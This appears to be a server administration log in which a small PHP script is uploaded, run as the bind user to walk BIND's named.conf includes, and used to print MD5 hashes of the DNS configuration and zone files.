MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 221d19961176ae4fe6e267aced990fb7
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 15:00:54: Establishing a connection
2026-02-09 15:00:55: 

PUT: /tmp/pkp634006

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 15:00:55: 

runuser -l bind -s /bin/bash -c '/tmp/pkp634006; rm /tmp/pkp634006'

2026-02-09 15:00:55: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
